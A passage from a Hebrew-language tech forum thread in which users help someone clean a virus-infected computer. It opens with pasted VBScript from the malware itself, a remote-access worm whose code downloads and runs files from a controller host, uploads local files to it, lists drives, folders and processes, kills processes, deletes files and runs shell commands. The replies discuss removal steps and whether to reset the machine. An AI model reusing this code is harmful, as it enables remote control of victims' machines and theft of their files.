                                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                      objhttpdownload.send ""
                                           
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                      if  objhttpdownload.status = 200 then
                                          dim  objstreamdownload
                                          set  objstreamdownload = createobject("adodb.stream")
                                          with objstreamdownload 
                                               .type = 1 
                                               .open
                                               .write objhttpdownload.responsebody
                                               .savetofile strsaveto
                                               .close
                                          end with
                                          set objstreamdownload  = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      function upload (fileurl)
                                      
                                      dim  httpobj,objstreamuploade,buffer
                                      set  objstreamuploade = createobject("adodb.stream")
                                      with objstreamuploade 
                                           .type = 1 
                                           .open
                                           .loadfromfile fileurl
                                           buffer = .read
                                           .close
                                      end with
                                      set objstreamdownload = nothing
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                      httpobj.send buffer
                                      end function
                                      
                                      function enumdriver ()
                                      
                                      for  each drive in filesystemobj.drives
                                      if   drive.isready = true then
                                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                      end if
                                      next
                                      end Function
                                      
                                      function enumfaf (enumdir)
                                      
                                      enumfaf = enumdir & spliter
                                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                      next
                                      
                                      for  each file in filesystemobj.getfolder (enumdir).files
                                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                      
                                      next
                                      end function
                                      
                                      function enumprocess ()
                                      
                                      on error resume next
                                      
                                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                      
                                      dim objitem
                                      for each objitem in colitems
                                          enumprocess = enumprocess & objitem.name & "|"
                                          enumprocess = enumprocess & objitem.processid & "|"
                                          enumprocess = enumprocess & objitem.executablepath & spliter
                                      next
                                      end function
                                      
                                      sub exitprocess (pid)
                                      on error resume next
                                      
                                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                                      end sub
                                      
                                      sub deletefaf (url)
                                      on error resume next
                                      
                                      filesystemobj.deletefile url
                                      filesystemobj.deletefolder url
                                      
                                      end sub
                                      
                                      function cmdshell (cmd)
                                      
                                      dim httpobj,oexec,readallfromany
                                      
                                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                      if not oexec.stdout.atendofstream then
                                         readallfromany = oexec.stdout.readall
                                      elseif not oexec.stderr.atendofstream then
                                         readallfromany = oexec.stderr.readall
                                      else 
                                         readallfromany = ""
                                      end if
                                      
                                      cmdshell = readallfromany
                                      end function
                                      
                                      ת מנותק
                                      ת מנותק
                                      תלמידהון
                                      כתב נערך לאחרונה על ידי
                                      #18

                                      @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

                                      תגובה 1 תגובה אחרונה
                                      0
                                      • ר רנדומלי

                                        השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
                                        מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

                                        מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

                                        גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                        @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                        מתכנת חובבמ מנותק
                                        מתכנת חובבמ מנותק
                                        מתכנת חובב
                                        מדריכים
                                        כתב נערך לאחרונה על ידי
                                        #19

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                        היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                        ר תגובה 1 תגובה אחרונה
                                        1
                                        • מתכנת חובבמ מתכנת חובב

                                          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                          האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                          היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                          ר מנותק
                                          ר מנותק
                                          רנדומלי
                                          כתב נערך לאחרונה על ידי
                                          #20

                                          @מתכנת-חובב
                                          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                          @תלמידהון
                                          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                          ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר